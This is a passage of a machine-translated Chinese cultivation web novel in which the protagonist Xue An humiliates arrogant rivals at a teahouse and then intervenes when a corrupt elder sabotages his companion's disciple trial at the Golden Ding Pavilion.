    At this moment, but seeing the brilliance lingering before Feizhou, then a tall, fair complexion, and unparalleled woman came out from it.


    After seeing this woman, the lady in palace costume also hurriedly stood up and said, "I have seen the lady!"


    Miss Sheng did not say a word, her eyes flowed and she glanced at everyone in the room, and finally stopped her eyes at Xue An, who was still drinking tea slowly after sitting at the tea table, and then there was a flash in her eyes. Bitter cold light.


    This kind of silent coercion made the entire restaurant silent.


    There was a look of shock on the woman''s face in the palace costume, but Xue An didn''t move at all, not even blinking her eyelids.


    At the same time, Sheng Miaotong, who knew he couldn''t escape this time, turned stiffly and smiled forcibly at his sister.


    "Sister...Sister! Why are you here?"


    "What? I''m not welcome?" Sheng Man said lightly.


    "Ah no, no, no! I didn''t mean that, I mean why did you come at this time?" Sheng Miaotong was very guilty and explained again and again.


    "If I don''t come again, I guess our Sheng family''s reputation will not be preserved!" Sheng Man said coldly.


    Sheng Miaotong''s face paled, and a look of shock appeared in his eyes.


    She is as smart as her, how can she not hear something in Shengman language?


    But the point is how could she know so soon?


    At the time of doubt.


    Just listen to a very magnetic male voice with a smile: "Man Yu, what do you think you scared Sister Miaotong?"


    After speaking, two more figures appeared in Guanghua.


    Walking in front was a young man with a long body and good looks and temperament.


    And behind him, it was Su Junneng who came afterwards.


    It''s just that at this time, Su Junneng no longer had the usual arrogance, on the contrary, his face was actually full of flattering and flattering.


    Even when I walked , I didn''t dare to look up, but kept bending over.


    At this time, the man slowly walked up to Shengmanyu and said with a decent smile: "Manyu, don''t be too cold, otherwise, what should I do if I frighten the little sister Miaotong?"


    Sheng Manyu glanced at the man and nodded silently.


    Then the man turned his head and looked at Sheng Miaotong, smiling brightly and said: "Okay, sister Miaotong, Manyu is no longer angry with you!"


    However, no matter how gentle and noble this man was, when Sheng Miaotong looked at him, his eyes were full of unconcealed indifference and disgust.


    But soon, she lowered her eyes, and then whispered softly, "Thank you Master Lu!"


    The man stunned slightly, and then he took a deep look at Sheng Miaotong, who had not yet fully expanded his stature, but was already charming and charming, and an indescribable greedy color flashed deep in his eyes.


    Then he smiled and said, "Sister Miaotong, I think my Lu family and the Sheng family have good families, and I have watched you grow up since I was a child, so why bother to disagree? Just call my brother!"

 Chapter 1275： I...I am a rich man!

    Sheng Miaotong bowed his head silently, ignoring his words at all.


    The teahouse was instantly caught in the embarrassment of the cold scene.


    The smile on this man''s face remained unchanged.


    Because he has always been convinced that a big thing can never be overwhelmed by small things.


    This is also what his father, the head of the Lu family has been teaching him.


    As the most outstanding descendant of the younger generation of the Lu family, Lu Shifa believes it deeply and has been working hard to fulfill it.


    So although he has always coveted the pair of Sheng family sisters, but on the surface, he has always been calm and light, even full of elders.


    Just like just now, his words and deeds are perfectly in line with the personality of the big brother, and he can''t fault it.


    The silence of Sheng Miaotong can only show her willfulness.


    really.


    Seeing this Sheng Manyu frowned slightly, he said solemnly: "Miaotong, haven''t you thanked you yet?"


    Sheng Miaotong shook all over, and then said in a low, inaudible voice, "Thank you, Brother Lu."


    When it comes to the Lu character, it slips over very vaguely.


    Shengmanyu wanted to say something, Lu Shifa raised his hand and stopped, and then said with a smile: "Well, Miaotong is still young, and it is not surprising that she is a little headstrong! It''s this..."


    As he said, his eyes swept across the crowd and stayed on Xue An.


    In fact, he had noticed Xue An from the moment he entered.


    Because Xue An in white clothes is the focus of attention no matter where he is.


    But after taking a closer look, Lu Shifa''s heart couldn''t help but sink.


    Because he discovered that despite his unknown name, this young man was far better than himself in terms of appearance and temperament.


    It is no exaggeration to say, even crushing.


    This shocked Lu Shifa, who had always been confident, and a strong hostility arose in his heart.


    Because as the man who has the best relationship with Shengmanyu, he is also the most hopeful man to pick this Shengjia rose.


    He always regarded the two sisters as his own impunity, and he would not allow others to interfere.


    So when he ran into Su Junneng who was desperately rushing on the road, and learned from him that someone had actually gained Sheng Miaotong''s appreciation, Lu Shifa was so heartbroken that he hurried over.


    Now that he saw Xue An, his hostility became stronger, so after looking up and down a few times.


    Lu Shi sneered slightly, and asked slowly: "This Xiongtai looks very face-to-face? But I don''t know where it is from?"


    This question made the eyes of the audience converge on Xue An instantly.


    Sheng Miaotong''s complexion changed, and he couldn''t help being furious, and raised his eyes to speak.


    But Shengman glared and motioned to her to shut up.


    Because she also knew this from Su Junneng''s mouth.


    Compared with Lu Shifa''s nasty thoughts, she was purely out of concern for her younger sister, for fear that she would be deceived by bad people again, and this [] hurried over.


    It now appears that although this young man looks good, he really does not look like a wealthy boy.


    Based on this alone, Shengmanyu was cold in his heart.


    Because of the status of the Sheng family, it is absolutely impossible to allow Sheng Miaotong to find such a man.


    What''s more, judging from what we know, it is very likely that this young man deliberately approached Sheng Miaotong because of the power of the Sheng family.


    In other words, it is most likely a liar.


    So she certainly didn''t allow Sheng Miaotong to say anything.


    Sheng Miaotong''s heart was burning with anger, but facing his own sister, but couldn''t say anything, he was in a hurry.


    Seeing Xue An finally finished drinking a pot of tea, he sighed somewhat contentedly, and then raised his head to look at Lu Shifa.


    "You were talking to me just now?"


    Lu Shifa nodded proudly, "Of course!"


    Xue An nodded, "Very good, but I don''t want to talk to you!"


    As soon as these words came out, Sheng Miaotong couldn''t help but chuckle.


    Sheng Manyu glared at her fiercely, and Sheng Miaotong quickly covered his mouth, but his big eyes were full of smiles, and he looked at Xue An quietly.


    This answer, I give full marks! Sheng Miaotong thought silently in her heart.


    But she was happy, but the expressions of the others in the room changed.


    Especially Lu Shifa, the smile on his face gradually reduced, and then looked at Xue An with a fierce look.


    "Don''t you say that I know, Xue An! Haha! But why have I never heard of a wealthy family with the surname Xue? But I don''t know if Xiongtai can explain it to me?"


    "Explain what?" Xue An comfortably leaned on the low couch and said lightly.


    Lu Shi was furious, but in order to maintain his image, he forcibly held it back, and then sneered: "For example, your identity and history? And why you want to approach Sister Miaotong? Is there any hidden secret?"


    These few words are very vicious.


    At least Sheng Miaotong''s complexion changed drastically. If possible, she would really wish to rush to tear up Lu Shifa''s mouth now.


    Unexpectedly, Xue An laughed, smiling very brightly, and then said lightly: "You said so much, you just want to ask if I am a wealthy boy, right?"


    "The same can be said!" Lu Shifa said arrogantly.


    "Then do you think I am?" Xue An''s eyes grew colder, and said lightly.


    "Haha, I''ve already inquired about it. There is no giant Xue surnamed in the Golden Light Cave Sky and the other six cave heavens! Do you think you are?" Su Jun, who consciously clung to Gao Zhi, couldn''t hold back his pride, and said hurriedly.


    Xue An lowered his eyes, "The investigation is very detailed!"


    "Humph!" Lu Shi sneered, thinking Xue An had admitted.


    Unexpectedly, at this moment, Xue Anhao played with his nails in time, and said indifferently without raising his head: "That''s right, I''m really not a rich man!"


    Su Junneng snorted, just about to speak.


    But at this time, Xue An raised his eyes and said as cold as ice: "Because, I''m alone...I am a rich family!"


    All the people in the audience were a little silly to hear this "big talk".


    Sheng Miaotong''s eyes gradually brightened after a moment of stunned The gaze towards Xue An became more and more soft.


    Shengmanyu snorted, thinking that the young man in white clothes was nothing more than a disciple who uttered wild words.


    But before she could talk to Lu Shi, Su Junneng, who had always wanted to find a chance to express himself, sneered first.


    "It''s so arrogant, and you are a rich man, you really laughed off your teeth, you know..."


    Before he finished his words, he saw a white light flashing, and then this Su Junneng flew out as if being hit head-on by a heavy tank.


    After smashing a dozen feet of tables and chairs in succession, he thumped and fell to the ground.


    Looking at him at this time, I saw the blood flowing in his mouth, mixed with broken teeth flowing out.


    But what smashed him out was a small white porcelain teacup.


    The audience was surprised.


    I saw Xue An��s fingers tapping the coffee table lightly, and then said in a playful tone: ��Don��t you want to laugh out your teeth? I did it for you, no thanks!��

 Chapter 1276： Domineering, condescending

    The porcelain cup was spinning on the ground like a top, making a humming sound, and it stopped gradually after a while.


    The gazes of the audience gathered on Xue An.


    Especially the Shengman language and Lu Shifa, their faces are full and deep.


    Only this Sheng Miaotong, although he was covering his mouth, his eyes were already smiling, and his eyes were full of excitement for fear that the world would not be chaotic.


    Only then did the unlucky Su Junneng wake up from the bewilderment of being smashed. First he let out a miserable howl, and then roared vaguely: "Xue, do you dare to hit me?"


    Xue An smiled, but his eyebrows were full of coldness, and then said indifferently: "What can I do if I hit you?"


    "You..." Su Junneng wanted to rush forward to teach this guy a lesson, but the sharp pain in his mouth reminded him that this young man in white is not that easy to provoke, so he looked at Lu with aggrieved face. Shi Fa.


    "Master Lu!"


    Because of the blood in his mouth and his teeth had been smashed, the air was leaking when he spoke, so his speech was very vague.


    But everyone can tell that his backer is obviously this Lu Shifa.


    really.


    Seeing that Lu Shifa''s face gradually became cold, and then staring at Xue An, he smiled gloomily.


    "No wonder it''s so confident, it''s a good method! But haven''t you heard of it, do you have to look at the owner when you hit a dog?"


    These words seem to have regarded this Su Junneng as his own dog.


    But after hearing the words, Su Jun was not angry but rejoiced, and even the triumphant expression of You Rongyan appeared on his face.


    Seeing this scene, Sheng Miaotong was simply disgusting, and he was a little further away from this Su Junneng with disgust.


    Su Jun knows this well.


    But at this moment, he no longer hopes to be able to approach this Miss Sheng Er.


    Because he is not a fool, he can naturally see the Lu Shifa''s greed for the sisters.


    In fact, when he ran into the famous Lu Family Young Master Lu Shi on the road, he immediately changed his goals.


    After all, there is very little hope of getting close to this Miss Sheng Er and gaining her love.


    But it would be an excellent choice if he could cling to the Lu family.


    You must know that the Lu family is second only to the Sheng family in this golden cave. For someone who was born in a small city like Su Jun, it is already a thick golden thigh.


    Because of this, when he heard that Lu Shifa actually called him a dog, he was not angry and rejoiced.


    at the same time.


    Seeing Xue An leaning on the low couch, he smiled nonchalantly, "That''s right, you really have to look at the owner when hitting a dog, but my habit is that if the dog is too rampant, then hit the owner together. What do you think? ?"


    As soon as this was said, the audience was terrified.


    Even Sheng Miaotong, who has always been afraid that the world will not be chaotic, can''t help but widen his eyes in surprise, finally showing a touch of worry in his eyes.


    She is just being savage and willful, which doesn''t mean she can''t see the situation clearly.


    The elders in the family obviously value this Lu Shifa very much and have even acquiesced to him as his elder sister''s wishful man.


    In addition, the Lu family has become more powerful in recent years, so even if she sees through this Lu Shifa''s wolf ambition, she can only stay away.


    Because she understands that if it breaks up, it won''t look good to anyone.


    Unexpectedly, Xue An actually dared to release such "big words", which naturally made Sheng Miaotong a little worried while admiring it.


    really.


    Seeing Lu Shifa''s face sinking, his eyes burst out with a gloomy light of choice, and he said grimly: "Boy, do you know who you are talking to?"


    Xue An smiled, then stretched out his hand, fiddled with the tea cup on the table, and said without looking up: "I don''t know, I don''t want to know! But believe it or not, if you dare to say something nonsense, this The teacup will also appear in your mouth, making you never forget the pain of broken teeth?"


    Lu Shi snorted angrily, and the majestic and powerful aura suddenly emerged from him, causing the teahouse to tremble slightly.


    "The pinnacle of the true fairy! Only half a step away from Ronaldo!" The palace-dressed woman was shocked and said in shock.


    This cultivation base can only be regarded as a middle-to-upper level for this world, but if it matches the age of Shang Lushi''s discovery, it will look terrifying.


    And God knows what secrets are circulating in these wealthy families, after all, the real strength of the same realm of cultivators may be far away!


    Lu Shi smiled triumphantly, "That''s right! And I just don''t want to break through! Otherwise, I have already become a great Luo power!"


    Everyone was even more shocked when they heard this.


    Even Sheng Miaotong couldn''t help trembling slightly, his eyes showed solemnity.


    But just when Lu Shifa''s face was gloomy and about to break out.


    Shengmanyu, who had been silent for a long time, suddenly stepped forward and stopped him.


    Lu Shifa was startled slightly, and then looked at Shengmanyu with some confusion, "Manyu, you..."


    Sheng Man said indifferently: "Master Lu and don''t have an attack! I have a few words to tell him!"


    The face of Shengman language, this Lu Shifa had to give, so he could only nod his head, took a step back, and then stared at Xue An with a gaze like a dead person.


    At this time, the Shengmanyu style stepped to the front of the tea table, a pair of cold eyes staring at Xue An coldly.


    In this situation, few people can remain calm, or at least be somewhat cramped.


    But Xue An didn''t even lift his eyelids. He just gently turned the teacup on the table, his slender fingers even eclipsed the reflection of the white secret porcelain.


    The audience fell silent.


    After a full ten breaths, I only listened to this Shengman''s cold words: "I don''t care who you are, but my sister is not something that an existence like you can touch! I hope you can understand this! "


    As soon as he said this, Sheng Miaotong''s whole body was shocked, and there was a hint of anger in the depths of his eyes, but even if the Xuan extinguished again, it turned into a sad color, and then gently lowered his head.


    Xue An raised his eyebrows slightly, and said with a faint smile, "Oh? I''m curious, what does it mean to exist like me?"


    Shengman''s words were as cold as ice, and he said sarcastically: "Why you approach my sister, you should know it bestDo you still use me to say this?"


    Xue An''s smile remained unchanged, "Then what if I don''t know?"


    Shengmanyu coldly snorted, "The power of the Sheng family is not something people like you can look up to! Also, you are here to participate in the opening ceremony of the Golden Ding Pavilion! I can tell you clearly now that you can never Worship in the Golden Ding Pavilion!"


    "Oh?" Xue Anjian raised his eyebrows and glanced at this Shengmanyu.


    Sheng Miaotong couldn''t help it anymore and opened his mouth and shouted, "Sister..."


    Before he finished his speech, he was interrupted by Shengman, "Shut up, there is no place for you to speak!"


    Then she looked at Xue An with a condescending gaze, "You can be unconvinced, or you can give it a try, but no matter what you do, you can''t change the result, because...this is what I said!"


    Xue An''s mouth gradually raised, and his tone was indifferent: "You said?"


    "Yes!" Speaking of this, Shengmanyu''s face showed ridicule, "This world is so cruel, and a person who can''t even enter the Golden Ding Pavilion, what qualifications to approach my sister?"

 Chapter 1277： Open Mountain Clock

    Under such domineering questioning by Shengmanyu, the audience was silent, and the faces of many people showed even more playfulness.


    Especially Su Junneng, who was beaten with a bleeding nose, his eyes were almost overflowing with pride.


    I see how you respond now! Su Junneng thought in his heart.


    Unexpectedly, Xue An, who was in the center of the storm, didn''t even have a trace of fluctuations on his face. Instead, he leaned on the low couch with his fingers and tapped the coffee table lightly.


    It was not until a moment later that Xue An just chuckled, "Yes, but what I want to say is that you are mistaken in two points!"


    "Oh? Which two points?" Sheng Manyu asked coldly.


    "First, it is not me who is going to worship the Golden Ding Pavilion, but he!" Xue An pointed to Xing Yushu who was sitting behind him.


    Everyone noticed this young man who had been silent, but Xuan even showed a trace of disdain.


    Because regardless of dress or temperament, this Xing Yushu is obviously just an ordinary young man who has not been involved in the world, and there is nothing surprising at all.


    Shengmanyu smiled coldly, "What about the second point? Wouldn''t you say that you have no feelings for my sister?"


    There was sarcasm in her tone.


    But at this moment, Xue An, who had been looking down, suddenly raised his head and glanced at her.


    Shengmanyu, who was full of disdain, instantly froze in place, and all the following words were stuck in his throat, unable to speak.


    Because just under Xue An''s eyes, Shengmanyu felt that his hairs all over his body were standing up, and his heart was cold.


    That feeling, as if being targeted by a tyrannosaurus, was creepy.


    But these feelings were fleeting. When Xue An dropped his eyes again, everything disappeared like a tide, as if it was just an illusion just now.


    Then Xue An said indifferently, "Secondly, I came to Jinding Pavilion only to be entrusted by a friend. I stopped by to take a look at the situation here. If the result is unsatisfactory, then I should take back some of the things here. went!"


    Speaking of this, Xue Anlan paused and glanced at Sheng Manyu coldly, "As for your so-called Sheng family power...In my eyes, it''s just like an ant!"


    These remarks seemed like a blockbuster, and many people who exploded were dumbfounded.


    Even Shengmanyu was a little stunned, until after a while, did he gradually wake up, and then he couldn''t help but become furious.


    "What a madman, dare to slander my Sheng family so much..."


    Before he finished his speech, he only heard a sound from Peng.


    A white light flashed straight past and hit Shengmanyu''s shoulder directly.


    Shengmanyu was caught off guard, and he was blasted by this huge force back and forth more than a dozen steps before he could barely stand still, and then his face showed pain.


    Because of this white light, her shoulder blades had been completely smashed.


    The severe pain struck, and the arrogant woman who had lived in the admiration of thousands of people since childhood was furious.


    And Xue An said indifferently: "What I just said, if there is any nonsense, I will smash all your teeth, but since you are Sheng Miaotong''s sister, I will give you face first!"


    At the same time, Lu Shifa also reacted. He had long wanted to show off in front of everyone. He was naturally furious when he heard this. Therefore, he snorted, his momentum rose sharply, and he rushed forward to teach him. Let''s take a look at this kid who doesn''t know the height of the world.


    Xue An''s mouth raised a cold smile, he had already been impatient with these guys.


    In fact, if it weren''t for Sheng Miaotong, the Shengman language would now be dead.


    Although Xue An doesn''t take the so-called reputation seriously, if there are repeated provocations by people who do not live or die, then Xue An does not mind sending them to another world to see.


    But at this moment, only a very melodious chime came from afar, and it spread throughout the valley and this town in an instant.


    Hearing this, everyone was startled first, and then the knowledgeable person exclaimed: "It''s the mountain bell! The Jinding Pavilion is about to open!"


    This news caused an uproar for everyone.


    Although I don��t know why the opening ceremony of the mountain took place a day earlier than usual, since it has already happened, and it is about whether or not I can worship Jinding Pavilion, the first reaction of everyone after they wake up is to go to the Jinding Pavilion. Ge rushed away.


    Naturally, everyone in the teahouse knew about these changes.


    Lu Shifa, Shengmanyu and others all changed in color.


    For them, the most important thing now is to worship Jinding Pavilion first, and everything else can be put on hold later.


    Therefore, Lu Shifa and Shengmanyu looked at each other, and then Lu Shifa said in an extremely cold tone: "Boy, you are lucky, and let you live a little longer! Manyu, let''s go!"


    Shengmanyu glanced at Xue An coldly, then turned his head and left.


    Sheng Miaotong is no exception, but when the little girl was leaving, she secretly turned her head and shook her head slightly at Xue An, her eyes full of anxiety and worry.


    Her meaning is obvious, that is to let Xue An leave this place of right and wrong as soon as possible, and must not stay for long.


    But Xue An just smiled at this.


    Sheng Miaotong was extremely anxious, but was frightened by his sister''s power, and did not dare to speak directly, so she could only leave the teahouse silently with suffering.


    Soon, all these people left.


    Above the teahouse was empty, only Xue An and Xing Yushu were left, and even the palace-dressed woman was gone.


    At this time, through the window, you can see that on the avenue, the dark crowd is running towards the far gate.


    Xing Yushu can''t help but feel a little restless, "My lord, are we still going over now?"


    Xue An smiled, "Are you panicking?"


    Xing Yushu gritted his teeth, "There is one thing! Because so many people go to worship the mountain, if we can''t as soon as possible, what if we fail?"


    Xue An took a deep look at this Xing Yushu, then turned to look at the towering Jinding Pavilion in the distance, and whispered: "Actually...you don''t have to panic!"


    "Huh? My lord what did you say?" Xing Yushu couldn''t help but ask in a daze without hearing what Xue An said.


    Xue An laughed, then stood up and said indifferently: "It''s nothing, since it''s here, I have to watch this excitement anyway, let''s go!"


    After all, Xue An and Xing Yushu stepped out of the teahouse one after another, and flew straight to the far gate.


    After crossing this mountain gate, which seemed to stand alone in the wilderness, Xing Yushu felt that his eyes suddenly opened up.


    A huge square suddenly appeared in front of him.


    The people in the square are already full of voices and lively.


    All the people from all directions gathered here, waiting for something anxiously.


    But despite the large number of people, it is still possible to clearly distinguish the levels.


    Standing in the forefront is also the best place. Without exception, they are all rich and beautifully dressed.


    Sisters of the Sheng family, Lu Shifa and others are among this group of people, and they are at the core.

 Chapter 1278： Open ladder

    The outside is the less powerful person, and the outside is the same.


    When they came to the most marginal area, they were all ordinary cultivators. Many of them were even haggard and shabby. They looked like poor children.


    In contrast, the appearance of Xue An and Xing Yushu did not attract anyone''s attention.


    Because everyone focused their attention on the high platform located in the distance.


    At this moment, only a cloud of auspicious clouds descended from the sky, directly on the high platform.


    When Yun Ying dissipated, he was a middle-aged man wearing a Phnom Penh Taoist suit with a high spirit, but with unconcealable arrogance at the corners of his eyes and brows.


    Behind him, there are several respectful Taoist maids.


    With such momentum, this man attracted the attention of the audience as soon as he appeared.


    Then there was a slight commotion in the crowd, and people began to whisper and talk.


    "Hi, this time the opening ceremony of the Golden Ding Pavilion was actually presided over by Elder Ciyun himself?"


    "Yeah! In previous years, only a true inner disciple was sent, but this time an elder was actually sent. It seems that the opening ceremony this time is extraordinary!"


    Just as people were talking in whispers, they saw this elder Ciyun showing his face, and then said with a smile: "The opening ceremony of the Golden Ding Pavilion once every ten years should be held tomorrow. , But the boss occasionally felt something, so I changed it to today, and I personally hosted it by Ci Yun!"


    The sound was as clear as a crane, spreading everywhere, and instantly suppressed the noise of the crowd.


    Many people looked in awe, not to mention anything else, this hand alone proved the strength of this elder Ciyun.


    So the crowd became quiet instantly.


    Ciyun looked around the audience, enjoying the awe of everyone''s gaze, and then nodded in satisfaction.


    "Very good! In that case, let''s not say much, the grand ceremony of the mountain begins now!"


    After all, he waved his sleeves.


    Before this square, brilliance began to emerge, and then they joined together.


    After the light and shadow dissipated, it turned out to be a ladder.


    But seeing the light and shadow of this ladder floating, while the other end directly leads to the sky, concealed in the misty clouds.


    "Open the ladder!" someone exclaimed.


    The so-called Opening Ceremony is actually a ceremony used by the Jinding Pavilion to replenish fresh blood to select disciples.


    And this opening ladder is a secret method.


    If you have a predestined relationship with Taoism, and have the talent and aptitude, you can go to the sky. If you don''t, you will be hard to move.


    So when the ladder appeared, many people looked solemn.


    But at this moment, I saw Shengmanyu step forward and salute the elder Ciyun.


    "Sheng''s parents and daughter, Sheng Manyu has met Uncle Ciyun!"


    Ciyun, who was originally full of pride, saw Shengmanyu, his face immediately filled with smiles, "It turned out to be Manyu! Don''t be so polite! After all, you are about to worship my Shuijing brother. Under the door, you will be the same person from now on, come here!"


    The words are full of love.


    Shengmanyu smiled slightly when he saw this scene, and then nodded, "Thank you Uncle Ciyun! But this time my sister is here too. Would you like to let her go up the ladder first?"


    "Oh, it''s all a family, what kind of ladder to go up! They all come to rest, and then return to Jinding Pavilion!" Ci Yun said with a smile.


    Sheng Manyu nodded, then dragged Sheng Miaotong out of the crowd and went to the other side.


    At the moment, Sheng Miaotong is full of hesitation and sadness.


    Because she felt that it was because of her that Xue An and others were in desperation.


    Don''t know how he is now? Did you listen to yourself and leave here as soon as possible?


    Thinking of this, Sheng Miaotong couldn''t help but secretly look at the crowd, but the square is so big, where to find the traces of Xue An and Xing Yushu?


    After the Sheng family sisters passed the "assessment" smoothly, the Lu Shifa also came forward very contentedly and bowed his hands in a courtesy.


    At first sight, Ciyun was the Lu family elder, and of course he passed the assessment with a bright smile.


    Next, these wealthy children almost all follow a similar process. Although they have not been treated as grandly as the Sheng family sisters and Lu Shifa, they have all easily passed the assessment.


    Even the little-known Su Junneng stepped forward. At the beginning, Ci Yun didn''t know him, but when Su Jun could take out the paper.


    This Tzu Yun also let him pass the test.


    quickly.


    Almost all of the wealthy children at the top were selected.


    Then there are those with slightly more ordinary families.


    When facing these children, Ciyun''s expression became much more serious.


    But before these children stepped on the ladder, they would take out something very knowingly and hand it to Ciyun.


    Ciyun waved his robe with a natural face, and then took it down. Then these people were very comfortable when they stepped on the ladder.


    Soon, these wealthy children basically passed the assessment.


    Then came the more ordinary family....


    In a word, no matter how talented you are, if you don''t pay, don''t think about passing the assessment smoothly.


    So soon, a large number of ordinary children from the family left the scene with a dejected face.


    Seeing this scene, Xing Yushu, standing on the edge of the square, was full of astonishment and anxiety, and finally couldn''t help but whispered: "Big...sir, this...what about this?"


    But there was no response to his words. Xing Yushu couldn''t help but lifted up to look at Xue An in a daze, and then he was stunned.


    Because at this moment, Xue An''s face was as cold as ice, and he was watching everything that happened coldly.


    Xing Yushu couldn''t help swallowing, trying to say something, but opened his mouth, but he stopped talking.


    After another, I don''t know how long, it may be about an hour.


    I saw that the noisy square had become empty.


    Those who were eliminated have left the field sadly, while those who passed the examination stood behind Ci Yun and talked excitedly.


    In the end, only Xue An and Xing Yushu were left standing on the edge of the square.


    Now all eyes were focused on both of them instantly.


    When Sheng Miaotong saw Xue An and the others did not leave, he couldn''t help but groan secretly.


    Shengmanyu snorted slightly, then looked at each other with Lu Shifa, walked up to Elder Ciyun, and muttered a little.


    Yan Yan''s Ci Yun frowned when he heard the words, and then looked at Xue An and Xing Yushu who came by with a scrutiny gaze.


    Especially when he noticed their dresses, the expression on his face became more and more indifferent, and then nodded calmly, "Okay, I get it!"


    Shengmanyu smiled coldly when he heard the words, his eyes flowed, and he glanced at Xue An who was coming, his heart full of pride.


    At this time, Xue An and two had already come close.


    Ciyun snorted coldly, and said in a weird manner: "Who of you wants to climb the ladder and worship the gate of my Jinding Pavilion?"


    Xing Yushu stepped forward and said, "Elder Hui, it''s me! I..."

 Chapter 1279： I will give them another quarter of an hour! ...

    Xing Yushu wanted to tell the story of his grandfather again, but he didn''t expect that Ciyun would not listen at all, but waved his hand impatiently.


    "Okay, then you go!"


    "But..." Xing Yushu was taken aback, and wanted to continue.


    Unexpectedly, this Ciyun glared his eyes and snorted coldly, "But what? You are the only one left now. If you don''t want to be assessed, you can quit as soon as possible to save everyone''s time!"


    Xing Yu''s writing turned white, and there was a faint anger in his eyes.


    Because before this Ciyun was not in this attitude when facing those wealthy children.


    As a young man who has not experienced much, how can he endure such humiliation.


    But at this moment, only Xue An, who was behind him, said calmly: "If this is the case, then you go up the ladder first!"


    Hearing this, Xing Yushu gritted his teeth secretly and gave Ci Yun a cold look, before lowering his head and walking to the ladder that day.


    But his attitude made this Ci Yun even more unhappy.


    He can''t help but sneer secretly, with a small belly, he can''t help but want to pass the test with your attitude?


    The eyes of the audience focused on Xing Yushu. Some people were discussing something quietly with the people around them, and from time to time they pointed at Xue An and Xing Yushu, and then burst into ear-piercing laughter.


    "Are these two guys a little stupid?"


    "Who says no, I dare to confront Elder Ciyun, I am really impatient!"


    "Tsk tusk, it''s a wishful thinking to want to pass the test even with this little vision!"


    These comments drifted into Xing Yushu''s ears, making the young man''s heart colder.


    Didn''t Grandpa say that as long as he gets here, he can get a chance?


    But what is going on?


    Why is everything different from what he said?


    Xing Yushu calculated silently in his heart, and then raised his head to look at the ladder extending into the clouds.


    Anyway, try it first!


    With that said, he took a deep breath and stepped onto the ladder.


    The stable ladder suddenly began to tremble, and this situation had never appeared before.


    Xing Yushu''s heart was stunned, but Xue An said calmly: "Don''t be afraid, continue!"


    Hearing Xue An''s words, Xing Yushu gritted his teeth and simply put everything aside, showing a vicious look in his eyes, and then climbed up.


    Upon seeing this, Ci Yun sneered in his heart, and then glanced at Xue An who was standing in the distance.


    Is this the guy who offended the Sheng family? It looks good, but unfortunately, I can''t see the situation clearly.


    At the same time, I saw that Xing Yushu had quickly climbed to half of the height, and the whole process was like walking on the ground, and even the ladder was showing signs of brilliance.


    This shows that Xing Yushu''s talent in Taoism is amazing.


    But Ciyun didn''t even bother to take a look.


    For him, hosting the opening ceremony of the mountain this time was an opportunity that he finally earned, just to take the opportunity to make a fortune.


    And if he doesn''t want Xing Yushu to pass, no matter how talented Xing Yushu is, it will never be possible!


    What''s more, there are also the meanings of the Sheng family and the Lu family. Of course he wants to sell each other''s face.


    Therefore, when he saw that Xing Yushu was about to climb to the sky, his hand trapped in the sleeves of his robe pinched a seal, and then he muttered silently in his heart.


    Scattered!


    Click, there was a crisp sound, but seeing this ladder condensed by Taoism swayed for a while, then it began to disperse.


    Xing Yushu felt that his feet were unstable, and his palms became a little weak, and his heart was full of shock.


    But seeing the clouds is right in front of him, so as soon as he gritted his teeth and tried his best to cultivate, he wanted to rush over.


    But on this ladder, all his cultivation bases have been sealed, no different from a mortal.


    So this short distance has become so far away.


    And his body began to fall downward.


    At this moment, many people who were still kind-hearted couldn''t help but exclaim.


    But Ciyun and others showed a smug smile.


    Especially for Shengmanyu, she looked at Xue An sarcastically and sneered in her heart.


    Are you not boasting that I''m all ants in Haikou?


    Then I want to see what you do!


    But her pride just lasted for a few seconds before she was interrupted.


    Because at this moment, Xue An raised his head and looked at the ladder that was beginning to collapse, his eyes were as cold as iron, and he said lightly: "Is the inherited Taoism so ruined by you? Condensation!"


    Give an order.


    The already weak and invisible ladder suddenly showed an extremely bright brilliance, and then it became as solid as golden soup.


    And Xing Yushu took this opportunity to climb a few times and rose into the cloud.


    When he entered the cloud, his figure appeared on the ground.


    Then the ladder broke apart.


    The audience was shocked.


    No one expected such a reversal of things.


    People who thought that Xing Yushu would never pass the assessment were all stupid at the moment.


    Once you cross the ladder, you can even worship the gate of Jinding Pavilion!


    Ci Yun''s mouth opened slightly, as if he had eaten a fly.


    At this time, Xing Yushu cried out with excitement: "My lord, I passed, my grandpa can rest assured!"


    At the end, the voice was a little choked.


    But at this moment, the elder Ciyun suddenly shook his head and sneered coldly, "Hold on! Who said you passed?"


    Xing Yushu was startled and turned to look at this Ciyun, "What do you mean?"


    "What do I mean?" Ci Yun showed a hideous look, raised his hand to Xue An, and said coldly: "Boy, what kind of magical magic did you just use? You actually condensed the ladder that was about to disperse, you are so clear. Cheating for this kid!"


    Hearing him say this, Su Junneng and others clamored even more.


    "Yes, it''s cheating!"


    "This guy must have an evil method! He might even be a ghost teacher!"


    All kinds of vicious speculations are endless.


    Xing Yu''s writing was pale as paper, staring blankly at the "indignation" crowd, not knowing what to say.


    Xue An laughed at this moment, and then patted his shoulder lightly.


    "Does it feel disgusting?"


    Xing Yushu hesitated for a moment, then nodded.


    Xue An sighed softly, "Me too! That''s all, give them another chance!"


    Speaking of this, Xue An''s eyes showed brilliant brilliance, and he said coldly: "Yushu, light up the two soul-slashing lamps that your grandfather left behind! I...give them another quarter of an hour!"


    Xing Yushu nodded blankly. Although he didn''t know why Xue An did this, he now had a near-blind obedience to Xue An, so he took out the two soul-slashing lamps from his backpack and lit them. .


    The candlelight flickered through the white lantern, and Ciyun and others were all a little startled Then they looked at each other and laughed together.


    "Is this lantern coming? Isn''t it funny!"


    "Who said no! Give another quarter of an hour? Who does he think he is?"


    Amid these sarcasm, Xue Anao stood still, his face as cold as ice.


    For no reason, Ciyun felt tight in his heart.


    As for the people who were still laughing just now, they couldn''t help restraining their laughter.


    Time passes by breath by breath.


    Soon, a quarter of an hour will arrive.


    Everything is business as usual.


    Everyone started to commotion again, and Shengmanyu couldn''t help but was ready to ridicule.


    But at this moment, the earth trembled suddenly, and then heard a female voice full of surprise from the Golden Ding Pavilion behind him.


    "Yu He, is that you?"

 Chapter 1280： Lu Shi Chuzhen

    Following the voice, a burst of golden light surged above the sky, and then a cloud of auspicious clouds was seen coming, and after landing, a woman could not wait to walk out of it.


    This is a slim and slender woman dressed in a neon cloud shirt with a curly skin.


    But at this moment, her delicate eyebrows were full of excitement and anxiety.


    "Yu He, you are finally willing to come back..."


    Before the words fell, the woman was stunned.


    Because she saw the two white soul-slashing lamps held in Xing Yushu''s hand, the excitement between her eyebrows and eyes was wiped away in an instant, replaced by an incredibly dazed color.


